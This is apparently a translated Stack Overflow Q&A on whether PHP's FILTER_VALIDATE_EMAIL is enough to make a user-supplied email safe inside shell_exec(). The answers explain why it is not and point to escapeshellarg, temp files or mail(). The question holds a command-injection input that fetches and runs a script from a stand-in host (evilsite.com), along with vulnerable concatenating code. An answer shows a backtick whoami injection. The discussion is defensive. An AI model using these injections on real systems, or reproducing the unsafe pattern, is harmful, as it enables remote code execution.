所以我打算使用shell_exec()
来处理运行发送电子邮件的php脚本。
这一切都很有效,但我只是稍担心只使用FILTER_VALIDATE_EMAIL
确保注射不会发生的安全隐患。
因此,举例来说,我将使用类似的东西:
$email=$_POST['email'];
if(!filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo 'Nope ...';
} else {
shell_exec("/usr/bin/php /var/www/mysite/includes/sendemail '" . $email . "'" > /dev/null 2>/dev/null &);
}
所以,显然没有验证,我可以提交我的电子邮件,如:
'; wget -O ./evil.sh http://evilsite.com/evilscript; ./evil.sh; '
所有地狱都可能破裂......
这是100%注射证明(我们知道)还是我还应该添加其他东西?
答案 0 :(得分:2)
FILTER_VALIDATE_EMAIL实施基于Michael Rushton’s Email Address Validation,它使用RFC 5321验证输入,i。例如Mailbox production rule。
这些电子邮件地址比实际使用的电子邮件地址更广泛。例如,RFC 5321允许 Local-part 中的带引号的字符串,如"…"@example.com
。
这允许注入任意命令,例如:
"'`whoami`'"@example.com
这将以你的shell命令结束:
/usr/bin/php /var/www/mysite/includes/sendemail '"'`whoami`'"@example.com' > /dev/null 2>/dev/null &
生成的sendmail
参数值将是引用whoami
的结果,如"markus"@example.com
。
你看到FILTER_VALIDATE_EMAIL根本不适合验证shell参数,因为它不应该是。
使用用于转义shell参数的函数,例如escapeshellarg
用于转义单个参数,或escapeshellcmd
用于任意参数。
通常,如果你可以通过内置的PHP功能实现相同的功能,则应该避免使用shell命令,因为即使是escapeshellarg
is not free of bugs。
答案 1 :(得分:1)
这是100%注射证明(我们知道)还是我还应该添加其他东西?
这里有关于数据库的问题:Does FILTER_VALIDATE_EMAIL make a string safe for insertion in database?
如果filter_var($var, FILTER_VALIDATE_EMAIL)
对数据库不安全,那么对命令行来说可能不够安全。
如果您确实需要转义字符串以便在shell中使用,请在escapeshellarg()
的答案中使用escapeshellcmd()
或Filter var for calling a shellscript with system on php。请务必阅读PHP网站上的API文档。
但首先,您应该do some research on OWASP了解应用程序安全性的最佳做法。
逃避和任何其他对策都是无效的,有很多向量可以绕过它们中的每一个;不要相信新手开发人员告诉你的事情。
您可以通过将电子邮件写入临时文件,然后指示您的sendemail
应用程序从文件中读取(如果可以)来完全避免此问题。
或者,如果托管配置可用,您可以使用PHP的mail()
方法 - 请参阅How to send an email using PHP?
继续保持安全。 PHP's mail(): What are potential issues to watch out for?